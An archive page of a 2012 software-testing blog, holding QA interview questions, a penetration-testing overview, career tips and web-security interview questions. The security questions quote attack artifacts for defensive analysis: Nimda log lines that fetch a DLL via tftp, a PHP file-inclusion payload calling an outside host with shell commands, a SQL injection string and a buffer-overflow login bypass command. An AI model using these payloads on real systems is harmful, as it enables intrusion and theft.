Archive

Posts Tagged ‘Testing’

Knowledge Work Book – Interview Question Bank(QA)

August 24, 2012 1 comment

Company: Cybage Software [An SEI-CMMI Level 5 assessed &  V1.3 Company]  www.cybage.com

Interview Type: Walk-in/Referral walk-in

Date: 11th August 2012

Venue: CT1, Kalyaninagar, PUNE

Rakesh Hansalia (QA, Cybage, Gandhinagar )  http://www.linkedin.com/in/rakeshhansalia
Below are the questions which were asked to the candidates in the walk-in interview for QA position:

1)      Describe yourself

2)      Describe your current project?

3)      Which is the android latest version?

4)      What is the difference between Android 2.1 and Android 2.2?

5)      Oops concepts.

6)      Difference between a class and a interface.

7)      Different version control.

8)      SQL queries.

9)      Do you have any idea of join in sql?

10)  Test case format

11)  What are smoke, regression and functional testing?

12)  Bug Life cycle

13)  What is equivalence partitioning?

14)  How to identify an object in selenium and QTP?

15)  How to display a message in Selenium?

16)  Different views in QTP.

17)  Different modes in QTP.

18)  What is test automation framework?

19)  What are different types of automation frameworks?

20)  How you do security testing for an application?

21)  What content you include in test status report?

22)  How you have mentored your team? ( This question is applicable if you have written in your CV that you have mentored)

23)  Have you prepared test plan? If yes, then what content you include in test plan?

24)  Would you like to ask any questions from us?

25)  Describe application certification testing.

26)  How you do certification testing?

27)  What role you are playing in your current company?

28)  What are the differences and similarity between the mobile app which you are testing in your current project with the app if you tested it on windows?

29)  Difference between System testing and Functional testing.

30)  3 most important test scenarios for a pen.

31)  3 least important test scenarios for a pen from user point of view.

32)  Suppose 100 requirements are there, how will you estimate them?

33)  Suppose 1000 tcs are there, will you run all 1000 tcs on all devices?

34)  3 assert commands.

35)  Difference between Selenium Web driver, RC and IDE.

36)  Rate yourself for automation.

37)  What are the components of QTP?

38)  Do you have knowledge of sql?

39)  What is compatibility testing? Is compatibility testing functional or non functional?

40)  What is non-functional testing?

41)  Relate usability and reliability with your current project.

42)  Suppose somebody is not comfortable with you in your team and he/she does not tell anybody what he/she feels but you know that your peer is not comfortable then what will you do?

43)  If you have mentioned hobbies in your resume, then they can ask you questions related to your hobbies.

44)  Do you have any questions which you want to ask?

45)  What is root cause analysis?

46)  3 scenarios for which you as a tester can’t do root cause analysis or help developer to know the what is the reason for a bug?

47)  write a c program to create a pattern :       1

2 2

3  3  3

48) What is stdio.h?

49) What is a library?

50) Tell me the names of 3 libraries.

51) Tell me the names of 5 automation tools for mobile.

52) Suppose you are the only resource and work is of 3 days and you have to complete it in 2 days, then what will you do?

53) Suppose you have to select device for an application which should work on latest as well as previous Android versions, then which device will you select?

54) What is polymorphism?

Penetration Testing – Complete Guide with Sample Test Cases

June 30, 2012 1 comment

What is Penetration Testing?
It’s the process to identify security vulnerabilities in an application by evaluating the system or network with various malicious techniques. Purpose of this test is to secure important data from outsiders like hackers who can have unauthorized access to system. Once vulnerability is identified it is used to exploit system in order to gain access to sensitive information.

Causes of vulnerabilities:
– Design and development errors
– Poor system configuration
– Human errors

Why Penetration testing?

– Financial data must be secured while transferring between different systems
– Many clients are asking for pen testing as part of the software release cycle
– To secure user data
– To find security vulnerabilities in an application

Penetration testing

It’s very important for any organization to identify security issues present in internal network and computers. Using this information organization can plan defense against any hacking attempt. User privacy and data security are the biggest concerns nowadays. Imagine if any hacker manage to get user details of social networking site like Facebook. Organization can face legal issues due to a small loophole left in a software system. Hence big organizations are looking for PCI compliance certifications before doing any business with third party clients.

What should be tested?
– Software
– Hardware
– Network
– Process

Penetration Testing Types:

1) Social Engineering: Human errors are the main causes of security vulnerability. Security standards and policies should be followed by all staff members to avoid social engineering penetration attempt. Example of these standards include not to mention any sensitive information in email or phone communication. Security audits can be conducted to identify and correct process flaws.

2) Application Security Testing: Using software methods one can verify if the system is exposed to security vulnerabilities.

3) Physical Penetration Test: Strong physical security methods are applied to protect sensitive data. This is generally useful in military and government facilities. All physical network devices and access points are tested for possibilities of any security breach.

Pen Testing Techniques:
1) Manual penetration test
2) Using automated penetration test tools
3) Combination of both manual and automated process
The third process is more common to identify all kinds of vulnerabilities.

Penetration Testing Tools:

Automated tools can be used to identify some standard vulnerability present in an application. Pentest tools scan code to check if there is malicious code present which can lead to potential security breach. Pentest tools can verify security loopholes present in the system like data encryption techniques and hard coded values like username and password.

Criteria to select the best penetration tool:
– It should be easy to deploy, configure and use.
– It should scan your system easily.
– It should categorize vulnerabilities based on severity that needs immediate fix.
– It should be able to automate verification of vulnerabilities.
– It should re-verify exploits found previously.
– It should generate detailed vulnerability reports and logs.

Once you know what tests you need to perform you can either train your internal test resources or hire expert consultants to do the penetration task for you.

Examples of Free and Commercial Tools
Nmap, Nessus, Metasploit, Wireshark, OpenSSL, Cain & Abel, THC Hydra, w3af
Commercial services: Pure Hacking, Torrid Networks, SecPoint, Veracode.

Limitations of Pentest tools: Sometimes these tools can flag false positive output which results in spending more developer time on analyzing such vulnerabilities which are not present.

Manual Penetration Test:

It’s difficult to find all vulnerabilities using automated tools. There are some vulnerabilities which can be identified by manual scan only. Penetration testers can perform better attacks on application based on their skills and knowledge of system being penetrated. The methods like social engineering can be done by humans only. Manual checking includes design, business logic as well as code verification.

Penetration Test Process:
Let’s discuss the actual process followed by test agencies or penetration testers. Identifying vulnerabilities present in system is the first important step in this process. Corrective action is taken on these vulnerability and same penetration tests are repeated until system is negative to all those tests.

We can categorize this process in following methods:
1) Data collection: Various methods including Google search are used to get target system data. One can also use web page source code analysis technique to get more info about the system, software and plugin versions. There are many free tools and services available in the market which can give you information like database or table names, DB versions, software versions, hardware used and various third party plugins used in the target system.

2) Vulnerability Assessment: Based on the data collected in first step one can find the security weakness in the target system. This helps penetration testers to launch attacks using identified entry points in the system.

3) Actual Exploit: This is crucial step. It requires special skills and techniques to launch attack on target system. Experienced penetration testers can use their skills to launch attack on the system.

4) Result analysis and report preparation: After completion of penetration tests detailed reports are prepared for taking corrective actions. All identified vulnerabilities and recommended corrective methods are listed in these reports. You can customize vulnerability report format (HTML, XML, MS Word or PDF) as per your organization needs.

Penetration testing sample test cases (test scenarios):

Remember this is not functional testing. In Pentest your goal is to find security holes in the system. Below are some generic test cases and not necessarily applicable for all applications.

1) Check if web application is able to identify spam attacks on contact forms used in the website.
2) Proxy server – Check if network traffic is monitored by proxy appliances. Proxy server make it difficult for hackers to get internal details of the network thus protecting the system from external attacks.
3) Spam email filters – Verify if incoming and outgoing email traffic is filtered and unsolicited  emails are blocked. Many email clients come with in-build spam filters which needs to be configured as per your needs. These configuration rules can be applied on email headers, subject or body.
4) Firewall – Make sure entire network or computers are protected with Firewall. Firewall can be a software or hardware to block unauthorized access to system. Firewall can prevent sending data outside the network without your permission.
5) Try to exploit all servers, desktop systems, printers and network devices.
6) Verify that all usernames and passwords are encrypted and transferred over secured connection like https.
7) Verify information stored in website cookies. It should not be in readable format.
8 ) Verify previously found vulnerabilities to check if the fix is working.
9) Verify if there is no open port in network.
11) Verify all telephone devices.
12) Verify WIFI network security.
13) Verify all HTTP methods. PUT and Delete methods should not be enabled on web server .
14) Password should be at least 8 character long containing at least one number and one special character.
15) Username should not be like “admin” or “administrator”.
16) Application login page should be locked upon few unsuccessful login attempts.
17) Error messages should be generic and should not mention specific error details like “Invalid username” or “Invalid password”.
19) Verify if special characters, html tags and scripts are handled properly as an input value.
20) Internal system details should not be revealed in any of the error or alert messages.
21) Custom error messages should be displayed to end user in case of web page crash.
22) Verify use of registry entries. Sensitive information should not be kept in registry.
23) All files must be scanned before uploading to server.
24) Sensitive data should not be passed in urls while communicating with different internal modules of the web application.
25) There should not be any hard coded username or password in the system.
26) Verify all input fields with long input string with and without spaces.
27) Verify if reset password functionality is secure.
28) Verify application for SQL Injection.
29) Verify application for Cross Site Scripting.
31) Important input validations should be done at server side instead of JavaScript checks at client side.
32) Critical resources in the system should be available to authorized persons and services only.
33) All access logs should be maintained with proper access permissions.
34) Verify user session ends upon log off.
35) Verify that directory browsing is disabled on server.
36) Verify that all applications and database versions are up to date.
37) Verify url manipulation to check if web application is not showing any unwanted information.
38) Verify memory leak and buffer overflow.
39) Verify if incoming network traffic is scanned to find Trojan attacks.
40) Verify if system is safe from Brute Force Attacks – a trial and error method to find sensitive information like passwords.
41) Verify if system or network is secured from DoS (denial-of-service) attacks. Hacker can target network or single computer with continuous requests due to which resources on target system gets overloaded resulting in denial of service for legit requests.

These are just the basic test scenarios to get started with Pentest. There are hundreds of advanced penetration methods which can be done either manually or with the help of automation tools.

Further reading:
Pen Testing StandardsPCI DSS (Payment Card Industry Data Security Standard), OWASP (Open Web Application Security Project), ISO/IEC 27002, OSSTMM (The Open Source Security Testing Methodology Manual).
CertificationsGPEN, Associate Security Tester (AST), Senior Security Tester (SST), Certified Penetration Tester (CPT).

Finally as a penetration tester you should collect and log all vulnerabilities in the system. Don’t ignore any scenario considering that it won’t be executed by end users.

 

10 Tips to Survive and Progress in the Field of Software Testing

These tips not only survive but also advance you in your software testing career. Make sure you follow them:

Tip #1) Written communication – I repeatedly saying this on many occasions that keep all things in written communication. No verbal communication please. This is applicable to all instructions or tasks given to you by your superior. No matter how friendly your lead or manager is but keep things in emails or documents.

Tip #2) Try to automate daily routine tasks – Save time and energy by automating daily routine task no matter how small those tasks are.
E.g. If you deploy daily project builds manually, write a batch script to perform the task in one click.

Tip #3) 360 degree testing approach – To hunt down software defects think from all perspectives. Find all possible information related to the application under test apart from your SRS documents. Use this information to understand the project completely and apply this knowledge while testing.
E.g. If you are testing partner website integration with your application, make sure to understand partner business fully before starting to test.

Tip #4) Continuous learning – Never stop learning. Explore better ways to test application. Learn new automation tools like Selenium, QTP or any performance testing tool. Nowadays performance testing is the hot career destination for software testers! Have this skill under your belt.

Tip #5) Admit mistakes but be confident about whatever tasks you did – Avoid doing the same mistake again. This is the best method to learn and adapt to new things.

Tip #6) Get involved from the beginning – Ask your lead or manager to get you (QAs) involved in design discussions/meetings from the beginning. This is more applicable for small teams without QA lead or manager.

Tip #7) Keep notes on everything – Keep notes of daily new things learned on the project. This could be just simple commands to be executed for certain task to complete or complex testing steps, so that you don’t need to ask same things again and again to fellow testers or developers.

Tip #8) Improve you communication and interpersonal skill – Very important for periodic career growth at all stages.

Tip #9) Make sure you get noticed at work – Sometimes your lead may not present the true picture of you to your manager or company management. In such cases you should continuously watch the moments where you can show your performance to top management.
Warning – Don’t play politics at work if you think your lead or manager is kind enough to communicate your skill/progress to your manager or top management. In that case no need to follow this tip.

Tip #10) Software testing is fun, enjoy it – Stay calm, be focused, follow all processes and enjoy testing. See how interesting software testing is. I must say it’s addictive for some people.

Bonus tip
Read read and read – Keep on reading books, white papers, case studies related to software testing and quality assurance. Always stay on top of the news in software testing and QA industry.

Source : http://www.softwaretestinghelp.com/how-to-improve-communication-skill/

Why testing community prefer open source tools?

Recently I did a small survey on testinggeek to find out whether testing community prefers opensource tools or commercial tools. After around one month, 81% participants voted for open source tools. I have been using open source testing tools for around four years now so I wasn’t surprised with the result. But still, this result got me interested and made me think about why so many people prefer open source tools? What are / were the problems with vendor tools? How open source tools have affected testers and the way we work?

I am sure some respondant might have voted for open source because of moral reasons, but for me and propbably many others its the value that we have got from using open source tools. I have been using Firefox, Selenium, FitNesse, WATIR, Selendion, Concordion and many such tools and was benefited greatly with the rich feature set and support. I have used vendor tools like Silk Test, Rational Robot, Rational Functional Tester, Quality Centre etc in past and have first hand experience of pain / problems of using them.

Lets start with brief understanding of what is open source / free software? OSS (Open Source Software)/FS (Free Software) programs are programs whose licenses give users the freedom to run the program for any purpose, to study and modify the program, and to redistribute copies of either the original or modified program (without having to pay royalties to previous developers). It is important to understand that free does not refer to price, it refers to liberty. Free here refers to the the freedom to understand, discuss, repair, and modify the technological devices / softwares user own.

In this paper, author has done in-depth study and given quantitative reasons to support open source adaption. This paper give us very good understanding and (to some people) confidence that open source software works by capturing information on trend, reliability, performance, scalability and so on. Price might be a factor when adapting open source, but if this is the only reason it might be difficult to justify it sometimes. As mentioned earlier, Free in OSS is liberty, which allow users to have fundamental control and flexibility on the software, since they can modify and maintain their software to their liking. This is probably one of the most important reasons why open source works, in almost every sphere.

But what is making open source tools work specifically for testing community? Lets discuss various factors which are important for adopting any tool and compare open source and commercial tools against them. I am taking a narrow view and summarizing these factors for the automated test execution tools only, some factors listed below might or might not be relevant for other tools.
1. Automation Language – Language in which you write your automation has a big influence on how maintainable and robust your automation suite is. If you use right language ( depending on your context), chances of getting right support, technical know-how and libraries for typical task are much higher. Historically, vendors have always given their own specific language which was good for only a single tool. This IMO, was one of the major drawbacks of tool vendors. This situation is changing with RFT (Rational Functional Tester) supporting JAVA / .NET and TestComplete supporting many languages. OSS, scores really well on this front. Tools like Selenium support almost every major language, and because of their open nature, if support for any language is not present someone from community might develop that.

2. Responsiveness – It can be argued that support from tool vendors should be better because they are getting paid for it. In my experience though, support from tool vendors have fallen short of support that we recieve from motivated bunch of people working as a community on any open source project. These folks are probably much more responsive than various level of support sold by tool vendors. Tool vendores can probably guarentee that support will be available, but if you choose popular open source project, chances of getting right support will be higher. One important point to remember here is, with tool vendors support is demanded (because you paid them.) and with open source, support is requested (Because you need them).

3. Feedback Loop – I started working with test automation tools in 2001 and for initial 4-5 years they were more or less static. There were changes / improvements but more or less they were not radically different. One reason for this slow development was probably long feedback. Users and developers in these cases were two different entities and were oblivious of each other’s pain. On the other hand, in OSS users and developers are same folks, so feedback loop is extremely fast. Thats the reason why tools like Selenium, WATIR etc have become so popular and feature rich in such a short time.

4. Short evaluation period – Usually if time is short for the evaluation process, wrong decisions will be made about the tool and eventually they will become shelfware. Good evaluation is essential, but most of the time evaluation period given by tool vendors is not good enough to findout if tool is the right tool for the application under test? OSS on the otherhand, give us long (evaluation) period so when we decide to use any tool, we make that dicision with good knowledge on limitation, capabilities and its applicability in the context of the application under test. This increases chances of succeeding with the tool and so its reputation.

5. Selling is driven by Marketing – Normally tools are sold by sales people to managers and not to users. Tools are sold with wrong practices like record / playback, quick automation and so on. This gives wrong impression to management in terms of what is good automation, how it should be approached and so on. Most of the time, practices like this result in unmaintainable automation suite which becomes useless very soon. Normally tools or testers are blamed in these cases, but most of time its not the tool or tester but approach in which tool was sold /used. Most of the time its the reputation of tool which is damaged in such instances.

6. Vendor locking – Historically, tools have always tried to lock users with their offerings. QTP is integrated with quality centre, Rational robot was integrated with test manager and so on. Thier internal formats, integration everything is coupled with other tools from their stack making it impossible to migrate from one tool to another without substential rework once you are trapped. OSS, on the other hand are like open book and hardly have any motive to lock users.

7. Lack of choices – There are not many tools from the vendors and consolidation in the tool market means choices will be even lesser in future. There are only 4 or 5 major players in the field which hardly gives you any choice. Lack of choice is bad, because it increases the possibility of monopoly and features are not delivered based on what user is expecting but based on what competitors are doing.

8. Community Feeling – Sure there are some products like Mac which can instill feeling of community in users. On the software front though, this behavior is more common for OS than vendors. This community acts as a support centre, as a platform to discuss problem and give direction in which development should be carried on. This community usually provide information to anyone who is seeking information, facing difficulty in implementing anything and so on, without any self interest. I have not done any formal study, but was never disappointed with the community of many OSS tools.

9. Specialization & Generalization – Main motive of tool vendors is to sell more products and make money. They increase their chances of sales by combining more features, providing support for many languages / platforms etc. Most of time these products end up in a very bulky product, which is not easy to operate / understand and reduces the speed at which tools can be adopted. OSS on the other hand, try to solve one problem and they try to do it well. Motive in OSS is not to sell more products, but to solve a specific problem and that takes them much closer to users than vendors.

10. Reduces difference between dev / test team – IMO, with the usage of OSS, testing community is much closer to development team than tools from vendor. OSS has allowed developers and testers to talk in the same language, use same set of tools and allowed tighter integration. They have also allowed testers to leverage the work from developers and understand their work more closely. In the old world of vendor tools, testers and developers were effectively in their own silos, OSS has helped in reducing that gap

This Article from http://www.testinggeek.com/index.php/testing-articles/179-open-sour…

Test cases for testing the Triangle

Test Case for a Triangle:

  1. Check if the triangle is equilateral or isosceles or scalene
  2.  Check It must be a closed figure.
  3.  Check the figure must contain only 3 sides which are straight and only 3 angles.
  4.  Check 2 sides must be passing through each vertex.
  5.  Check the sum of all 3 angles must be 180 degrees.
  6.  Check all sides should be same in length for equilateral
  7. Check only 2 sides should be same for isosceles triangle.
  8. Check if 1 angle is 90′ then it is right angled.
  9. One/Two/Three sides of a triangle is 0.
  10. Check if the sides are coinciding or not
  11.  Check if the triangle is right-angled isosceles, there
    is a right angle or not.
  12. if the triangle is acute or obtuse or right-angle.
  13.  Check if the triangle is isosceles, the opposite angles
    are equal or not.
  14.  Check if the triangle is equilateral, all the angles are
    equal or not [i.e., 60degrees].
  15. Check if the user is able to draw the 3 circles
    [interior, exterior, circumcircle ]

Web Security Interview Questions

April 30, 2012 4 comments
Web Security Interview Questions

The goal of this document is to provide appropriate questions for HR/Managers to pose to individuals who are applying for web security related positions.  These questions do not have right or wrong answers, but rather spark relevant conversation between the applicant and the hiring staff.

 

Entry Level Questions

 

  1. 1.   What do you see as the most critical and current threats effecting Internet accessible websites?

 

Goal of question – To gauge the applicant’s knowledge of current web related threats.  Topics such as Denial of Service, Brute Force, Buffer Overflows, and Input Validation are all relevant topics.  Hopefully they will mention information provided by web security organizations such as the Web Application Security Consortium (WASC) or the Open Web Application Security Project (OWASP).

 

 

  1. 2.   What online resources do you use to keep abreast of web security issues?  Can you give an example of a recent web security vulnerability or threat?

 

Goal of question – Determine if the applicant utilizes computer security resources such as CERT, SANS Internet Storm Center or ICAT.  Email lists such as securityfocus, bugtraq, SANS @RISK, etc. are also good resources. Recent examples of threats will vary depending on current events, but issues such as new web based worms (PHP Santy Worm) or applications, which are in wide use (awstats scripts) are acceptable.

 

  1. What do you see as challenges to successfully deploying/monitoring web intrusion detection?

 

Goal of question – We are attempting to see if the applicant has a wide knowledge of web security monitoring and IDS issues such as:

 

  • Limitations of NIDS for web monitoring (SSL, semantic issues with understanding HTTP)
  • Proper logging – increasing the verboseness of logging (Mod_Security audit_log)
  • Remote Centralized Logging
  • Alerting Mechanisms
  • Updating Signatures/Policies

 

 

  1. What is your definition of the term “Cross-Site Scripting”?  What is the potential impact to servers and clients?

 

Goal of question –This question will determine if the applicant is well versed in the terminology used in web security.  The applicant needs to be able to articulate highly technological topics to a wide audience.  The second question will help to verify that the applicant fully understands how XSS attacks work and the impact to client information.  WASC has a web security glossary of terms that may be of help – http://www.webappsec.org/glossary.html

 

 

Cross-Site Scripting: (Acronym – XSS) An attack technique that forces a web site to echo client-supplied data, which execute in a user’s web browser. When a user is Cross-Site Scripted, the attacker will have access to all web browser content (cookies, history, application version, etc). XSS attacks do not typically directly target the web server or application, but are rather aimed at the client.  The web server is merely used as a conduit for the XSS data to be presented to the end client. See also “Client-Side Scripting”.

 

 

  1. What are the most important steps you would recommend for securing a new web server? Web application?

 

Goal of question – Once again, there is no right or wrong answer, however we are interested in what the applicant views as important.

 

Web Server Security:

  • Update/Patch the web server software
  • Minimize the server functionality – disable extra modules
  • Delete default data/scripts
  • Increase logging verboseness
  • Update Permissions/Ownership of files

 

Web Application Security:

  • Make sure Input Validation is enforced within the code – Security QA testing
  • Configured to display generic error messages
  • Implement a software security policy
  • Remove or protect hidden files and directories

 

 

Advanced Level Questions

 

  1. 1.   Imagine that we are running an Apache reverse proxy server and one of the servers we are proxy for is a Windows IIS server.  What does the log entry suggest has happened?  What would you do in response to this entry?

 

68.48.142.117 - - [09/Mar/2004:22:22:57 -0500] "GET /c/winnt/system32/
cmd.exe?/c+dir HTTP/1.0" 200 566 "-" "-"

68.48.142.117 – – [09/Mar/2004:22:23:48 -0500] “GET /c/winnt/system32/

cmd.exe?/c+tftp%20-%2068.48.142.117%20GET%20cool.dll%20c:\\httpodbc.dll HTTP/1.0” 200 566 “-” “-”

 

Goal of question – To see if the applicant is fluent at reading web server log files in the Common Log Format (CLF).  In this scenario, the client system (68.48.142.117) is infected with the Nimda worm.  These requests will not affect our Apache proxy server since this is a Microsoft vulnerability.  While it does not impact Apache, the logs do indicate that the initial request was successful (status code of 200).  The Nimda worm will only send the level 2 request (trying to use Trivial FTP to infect the target) if the initial request is successful.  Depending on the exact proxying rules in place, it would be a good idea to inspect the internal IIS server to verify that it has not been compromised.

 

If you were not using Apache as the reverse proxy, what Microsoft application/tool could you use to mitigate this attack?

 

You could use either Microsoft’s Internet and Security Acceleration (ISA) server as a front-end proxy or implement URLScan on the target IIS server.  The urlscan.ini file has the AllowDotInPath directive which will block directory traversal attempts.

 

 

  1. 2.   You are engaged in a penetration-test where you are attempting to gain access to a protected location.  You are presented with this login screen:

 

What are some examples of you how you would attempt to gain access?

 

Goal of question – Determine if the applicant has a wide knowledge of different authentication vulnerabilities.  They may attempt default usernames/passwords or attempt SQL Injection queries that provide an SQL true statement (such as – ‘ OR 1=1#).  If they provide SQL examples, then offer them the following Error document information and ask them what this indicates.

 

ODBC Error Code = 37000 (Syntax error or access violation)

 

[Microsoft][ODBC SQL Server Driver][SQL Server]Line 4: Incorrect syntax near ‘=’.

 

Data Source = “ECommerceTheArchSupport2”

SQL = “SELECT QuickJump_Items.ItemId FROM QuickJump_Items WHERE QuickJump_Items.ItemId <> 0 AND QuickJumpId =”


The error occurred while processing an element with a general identifier of (CFQUERY), occupying document position (1:1) to (1:42) in the template file K:\InetPub\clients\login\http\ailment.cfm

 

The specific sequence of files included or processed is:
K:\INETPUB\CLIENTS\LOGIN\HTTP\AILMENT.CFM  

 

This error message indicates that the target web application if running Microsoft SQL and discloses directory structures.

 

 

  1. 3.   What application generated the log file entry below?  What type of attack is this?  Assuming the index.php program is vulnerable, was this attack successful?

 

========================================

Request: 200.158.8.207 – – [09/Oct/2004:19:40:46 –0400] “POST /index.php HTTP/1.1” 403 743

Handler: cgi-script

—————————————-

POST /index.php HTTP/1.1

Host: http://www.foo.com

Connection: keep-alive

Accept: */*

Accept-Language: en-us

Content-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla 4.0 (Linux)

Content-Length: 65

X-Forwarded-For: 200.158.8.207

mod_security-message: Access denied with code 403. Pattern match “uname\x20-a” at POST_PAYLOAD

mod_security-action: 403

 

65

lid=http://th3.ownz.p5.org.uk/lila.jpg?&cmd=cd /tmp;id;lsuname -a

 

 

Goal of question – to verify that the applicant can interpret various web log files, identify attacks and possible impacts.  The Mod_Security Apache module generated this data in the audit_log file.  The log entry indicates that an attacker is attempting to exploit a PHP file inclusion vulnerability in the index.php script.  The commands being passed are in the POST PAYLOAD of the command.  This attack was not successful for the following two reasons:

 

  • The mod_security-message header indicates that Mod_Security blocked this request based on a converted Snort web-attack rule when it identified the “uname –a” data in the POST PAYLOAD.
  • The attacker also made a typo in the OS commands being passed in the POST PAYLOAD.  She did not include a semicolon “;” between the ls and uname commands.  The target host would fail to execute the “lsuname” command.

 

 

  1. 4.   One of your web servers is logging multiple requests similar to the following:

 

201.1.199.155 – – [26/Dec/2004:01:55:48 -0500] “PUT /hacked.htm HTTP/1.0” 403 769 “Microsoft Data Access Internet Publishing Provider DAV 1.1” “-“

What does this log entry indicate?  How could you identify what the contents are of the “hacked.htm” file that the attacker is trying to upload?

 

Goal of question – Determine if the applicant can identify both the attack (a web defacement attempt using the HTTP PUT Method), as well as, the logging limitations of CLF.  In this type of attack, the defacement text is sent in the request body and not on the URL Request line.  In order to identify this data, a network sniffing application would need to be utilized.  An application such as Snort could be used with a custom rule to identify this activity.  Here is an example rule –

 

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:”LOCAL Put attempt”; flow:to_server,established; tag:session,50,packets; pcre:”/^PUT /A”; sid:3000001; rev:1;)

 

 

  1. 5.   You have been asked to review the source code for a compiled script that is being used to validate logon credentials for a web application.  The file is called “logon_validate” and a typical logon request looks like this –

 

“GET /cgi-bin/logon_validate?login=test&password=test”

The source code is shown below –

 

void show_error(void) {

 

// AUTHENTICATION ERROR

 

exit(-1);

 

}

 

int main(int argc, char **argv) {

char error_on_auth=’1′;

char user[128];

char pass[128];

char *ch_ptr_begin;

char *ch_ptr_end;

 

/**********************************/

/* Get Username from Query String */

/**********************************/

ch_ptr_begin=(char *)strstr(****QUERY_STRING****,”login=”);

if (ch_ptr_begin==NULL)

show_error();

ch_ptr_begin+=6;

ch_ptr_end=(char *)strstr(ch_ptr_begin,”&”);

if (ch_ptr_end==NULL)

show_error();

*(ch_ptr_end++)=”;

strcpy(user,ch_ptr_begin);

 

 

/**********************************/

/* Get Password from Query String */

/**********************************/

ch_ptr_begin=(char *)strstr(ch_ptr_end,”password=”);

if (ch_ptr_begin==NULL)

show_error();

ch_ptr_begin+=9;

ch_ptr_end=(char *)strstr(ch_ptr_begin,”&”);

if (ch_ptr_end!=NULL) *(ch_ptr_end++)=”;

strcpy(pass,ch_ptr_begin);

 

 

if ((strcmp(user,GOOD_USER)==0) && (strcmp(pass,GOOD_PASS)==0)) error_on_auth=’0′;

 

if (error_on_auth==’0′) {

 

// AUTHENTICATION OK!!

 

 

} else {

 

// AUTHENTICATION ERROR

show_error();

 

 

}

 

// return(0); hehe could be evil ;PPPPP

exit(0);

 

}

 

 

This pseudo-code is taken from the NGSec Web Auth Games http://quiz.ngsec.biz:8080/game1/level6/replicant.php

 

Do you see any problems with this script?  How could an attacker exploit this script to bypass the authentication mechanisms in this script?  What are some mitigation options?

 

Goal of question – This is most likely the most complex question being asked during the interview due to the fact that the applicant will need to apply multiple layers of analysis, including both the attacker and defender perspectives.

 

Reference “Smashing The Stack For Fun And Profit” for technical details –

http://www.phrack.org/phrack/49/P49-14

 

The security issue with this script has to do with a buffer overflow problem in the way that the script is using the “error_on_auth” condition.  The error_on_auth condition is initially declared to be “1” which means that he user is not authenticated.  The “user” condition was declared directly after the error_on_auth and has been allocated 128 bytes.  Due to the ordering of the declaration of the error_on_auth and user parameters, they occupy adjacent locations on the running stack.  The result is that if the attacker submits a username that is 129 bytes (with the last byte being “0”), they can overwrite the error_on_auth data.  A Unix command such as the following would achieve this goal –

 

http://www.companyx.com/cgi-bin/validate_logon?logon=000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

 

or

 

# wget http://www.companyx.com/cgi-bin/validate_logon?logon=`perl -e print "0"x129`

 

Mitigation options include the following:

  • Update the validate_logon soruce code to fix the problem, such as using strncpy() instead of strcpy ().
  • If the source code could not be updated, then security filters would need to be implemented on the web server.
  • Using Mod_Security, you could implement some security filters for the “validate_logon” URL such as these:
    • Only allow letters in the username argument.  This would prevent the client from overwriting the error_on_auth data with a zero.

 

<Location /cgi-bin/validate_logon>

SecFilterSelective ARG_LOGIN “!^[a-zA-Z]”

</Location>

 

 

    • You could also add another rule to restrict the size of the username/password arguments to be less then 129 characters.

 

<Location /cgi-bin/validate_logon>

SecFilterSelective ARG_LOGIN “!^[a-zA-Z]”

SecFilterSelective ARG_LOGIN|ARG_PASSWORD “.{129,}”

</Location>

 

 

A web application firewall (WAF) device could be implemented on the network to protect the entire web site. These devices have positive policy capability that should identify these types of attacks as “anomalous” and deny them.  A brief listing of WAF vendors include Teros, Netcontiuum, Imperva, Watchfire, Breach, Axiliance, and others.

 

 

 

Security Testing Checklist

April 30, 2012 4 comments
Here is one Security Testing Checklist that may help you all:

1. Are all the Internet-facing servers within the system registered with the corporate web office?

2. Do the test plans for the system include tests to verify that security functionality has been properly
implemented?

3. If the system is rated high on the business effect assessment or if it is Internet facing, has the
company security office been consulted to determine whether or not additional security testing
is required?

4. Has the security test covered the following?
a. application testing
b. back doors in code
c. denial of service testing
d. directory permissions
e. document grinding (electronic waste research)
f. exploit research
g. firewall and application control list
h. intrusion detection systems
i. manual vulnerability testing and verification
j. network surveying
k. password cracking
l. PBX testing
m. port scanning
n. privacy review
o. redundant automated vulnerability scanning
p. review of IDS and server logs
q. security policy review
r. services probing
s. social engineering
t. system fingerprinting
u. trusted systems testing
v. user accounts
w. wireless leak tests

GUI Testing

April 5, 2012 1 comment

GUI Testing

Success of any GUI application depends on how it interacts with user through its user interface, how the user actions are performed to access application’s features and whether application responds in functionally correct manner. An application with incorrect behavior, or invalid user interaction can lead to huge problems. We will try to understand few important aspects with GUI Testing. Following document will help you understand what GUI Testing means, why its required and how you can successfully implement GUI Testing for your UI applications, Desktop applications, .NET applications, windows applications and Java applications using AppPerfect in Automated manner. The important benefits of Automated GUI Testing includes, higher test coverage levels, greater reliability, shorted test cycles, ability to do multi user testing at no extra cost, all resulting in increased levels of confidence in the application and its successful deployment.


What is GUI Testing?

GUI testing is a process to test application’s user interface and to detect if application is functionally correct. GUI testing involves carrying set of tasks and comparing the result of same with the expected output and ability to repeat same set of tasks multiple times with different data input and same level of accuracy. GUI Testing includes how the application handles keyboard and mouse events, how different GUI components like menubars, toolbars, dialogs, buttons, edit fields, list controls, images etc. reacts to user input and whether or not it performs in the desired manner. Implementing GUI testing for your application early in the software development cycle speeds up development, improves quality and reduces risks towards the end of the cycle. GUI Testing can be performed both manually with a human tester or could be performed automatically with use of a software program.

Every software organization tests its softwares, still the end product always have some issues left. Testing team tries their best to find all the bugs before release of the software but still there are issues left in the product and they often re-appear as new modules are added to the software. Even the best of manual testing process struggle to deliver an effective, efficient, accurate and increased test coverage.

Manual testing is often error prone and there are chances of most of the test scenarios left out. Also with the project in development phase where source code changes appear every other day, manually keeping up with the pace to test each and every feature is a difficult task. More often then not the newly added features would bring regression along with them, so to accurately cover all the old test cases manually is very time consuming and error prone.

Automated GUI Testing is use of software program to detect if your desktop application is functionally correct. Automated GUI Testing includes automating manual testing tasks which are mostly time consuming and error prone. Automated GUI Testing is a more accurate, efficient, reliable and cost effective replacement to manual testing. Automated GUI Testing involves carrying set of tasks automatically and comparing the result of same with the expected output and ability to repeat same set of tasks multiple times with different data input and same level of accuracy. Implementing GUI Testing for your application early in the software development cycle speeds up development, improves quality and reduces risks towards the end of the cycle.

